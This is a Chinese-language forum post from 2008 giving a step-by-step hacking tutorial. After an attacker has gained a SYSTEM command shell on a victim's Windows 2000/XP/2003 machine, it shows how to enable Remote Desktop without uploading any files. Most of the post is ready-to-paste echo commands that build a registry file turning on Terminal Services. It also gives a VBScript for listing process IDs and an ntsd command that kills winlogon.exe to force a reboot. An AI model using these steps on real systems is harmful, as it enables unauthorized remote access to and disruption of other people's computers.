注册
 找回密码
 注册
江西广告网
查看: 188|回复: 0
打印 上一主题 下一主题

开启终端的最简单方法全攻略

[复制链接]

该用户从未签到

1
跳转到指定楼层
发表于 2008-12-24 11:58:14 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?注册

x
  今天介绍的这种开终端的方法,绿色,环保,无污染""      不须上传任何文件开启终端的方法适合win2k,xp,2003.      本文前提是已经通过某种方法得到了对方的一个SYSTEM权限的CMDSHELL""      在无须传任何文件的情况下开启终端服务。      一、win 2k下终端开启终端      首先用ECHO写一个3389.reg文件,然后导入到注册表,echo代码如下:      echo Windows Registry Editor Version 5.00 >>3389.reg      echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg      echo "Enabled"="0" >>3389.reg      echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg      echo "ShutdownWithoutLogon"="0" >>3389.reg      echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg      echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg      echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg      echo "TSEnabled"=dword:00000001 >>3389.reg      echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg      echo "Start"=dword:00000002 >>3389.reg      echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg      echo "Start"=dword:00000002 >>3389.reg      echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg      echo "Hotkey"="1" >>3389.reg      echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg      echo "PortNumber"=dword:00000D3D >>3389.reg      echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg      echo "PortNumber"=dword:00000D3D >>3389.reg      把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。      (如果要改变终端端口只须把上面的两个D3D都改一下就可以了)      因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效。      一个简单的办法就是用ntsd.exe(win 2k以上自带的命令)结束一个重要的进程就可以实现机器重启了!!      比如结束winlogon.exe,lsass.exe也可以但结束后会跳出重启倒计时(不太好")      winlogon.exe被关闭后机器立刻强制重启了      命令执行格式为ntsd -c q -p PID      那如何知道winlogon.exe的PID进程号呢"      以下这个脚本可以列举当前所有进程的PID:      wscript.echo "PID  ProcessName"      for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_      wscript.echo ps.handle&vbtab&ps.name      next      在CMDSHELL窗口下贴上如下ECHO代码就可以得到查看进程PID的脚本1.vbe:      echo wscript.echo "PID  ProcessName">>1.vbe      echo for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ >>1.vbe      echo wscript.echo ps.handle^&vbtab^&ps.name>>1.vbe      echo next>>1.vbe      生成1.vbe后请检查一下echo出来的脚本是否有错(才四行,对一下上面给出的就可以了)。      运行1.vbe得到如下运行结果:      C:\WINNT\system32>cscript 1.vbe      cscript 1.vbe      Microsoft (R) Windows 脚本宿主版本 5.1 for Windows      版权所有(C) Microsoft Corporation 1996-1999. All rights reserved.      PID  ProcessName      0   System Idle Process      8   System      152  smss.exe      180  csrss.exe      200  winlogon.exe      228  services.exe      240  lsass.exe      424  svchost.exe      472  spoolsv.exe      512  msdtc.exe      616  svchost.exe      628  KAVSvc.EXE      660  llssrv.exe      692  nvsvc32.exe      728  regsvc.exe      748  MSTask.exe      776  alter.exe      900  svchost.exe      916  WinMgmt.exe      1088  Dfssvc.exe      484  Explorer.EXE      1444  mdm.exe      1340  Server.exe      1224  ibguard.exe      1252  KAVSvcUI.EXE      1256  ibserver.exe      1336  internat.exe      1204  Uspds.exe      720  bar.exe      1288  dllhost.exe      1580  inetinfo.exe      1672  cmd.exe      1464  pppoe.exe      1704  regedit.exe      316  cscript.exe      从上面可以看出当前winlogon.exe的PID号为200运行命令ntsd -c q -p 200 (这里的200要替换为winlogon.exe进程对就的PID啦)过会儿机器马上重启了(ntsd.exe是WIN自带的可用来结束任意级别进程)等着收获吧""          <
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表